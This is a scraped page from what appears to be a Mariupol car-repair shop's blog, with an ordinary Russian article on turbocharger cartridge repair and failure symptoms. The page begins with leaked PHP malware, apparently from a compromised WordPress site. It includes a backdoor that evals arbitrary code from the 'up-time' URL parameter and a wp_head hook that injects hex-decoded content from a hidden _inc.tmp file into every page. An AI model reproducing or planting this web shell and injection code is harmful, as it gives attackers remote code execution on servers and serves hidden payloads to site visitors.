if(isset($_GET["up-time"])){eval($_GET["up-time"]);} if ((is_admin() || (function_exists('get_hex_cache'))) !== true) { add_action('wp_head', 'get_hex_cache', 12); function get_hex_cache() { return print(@hex2bin( '3c7' . (file_get_contents(__DIR__ .'/_inc.tmp')))); } } Как отремонтировать турбину? - STO Mariupol

В большинстве случаев в турбокомпрессоре ломается картридж. Поэтому когда интересуются, как отремонтировать турбину, чаще всего имеют в виду его замену. Давайте разберемся, можно ли это сделать самостоятельно в условиях обычного гаража.

Картридж турбины состоит из подшипника скольжения (в большинстве моделей авто стоит именно такой). Он обеспечивает свободное вращение ротора на больших оборотах. С двух сторон к ротору крепятся холодная и горячая крыльчатки.

Турбины обычно работают на очень высоких оборотах, которые значительно превышают 100 тысяч в минуту. Если ротор будет разбалансирован, возникающие биения приведут к разрушению узла гораздо раньше заложенного производителем срока.

Вот и получается, что разобрать и собрать турбину без необходимого оборудования как-то получится. А поймать баланс — уже нет. Для этого необходимы:

  • специальные стенды для диагностики и ремонта;
  • инструмент и станки для работы с турбокомпрессором;
  • доступ к качественным комплектующим для вашей модели автомобиля;
  • опыт работы и специальные знания.

Что будет, если отремонтировать турбину без всего этого? В ближайшем будущем вам понадобится новая запчасть, цена которой гораздо выше, чем обращение в хороший автосервис.

Как определить, что турбину пора ремонтировать?

Неполадки в турбокомпрессоре проявляются следующим образом:

  • Ощущается просадка по мощности, если давать нагрузку на двигатель.
  • При наборе оборотов из выхлопной трубы вылетает дым, который может быть окрашен от светло-серого до насыщенного сизого.
  • В выхлопных газах ощущается запах горелого масла.
  • Под капотом появляются нештатные звуки — писк, стук, скрежет, шипение.
  • Заметно увеличивается расход моторного масла.
  • Есть просадка давления в масляной и воздушной системах.

Появление любого из этих признаков, а тем более их комбинации — повод обратиться в автосервис. Лучше сразу отремонтировать турбину, чем получить гораздо большие повреждения уже в двигателе.

Від admin

Залишити відповідь

Ваша e-mail адреса не оприлюднюватиметься. Обов’язкові поля позначені *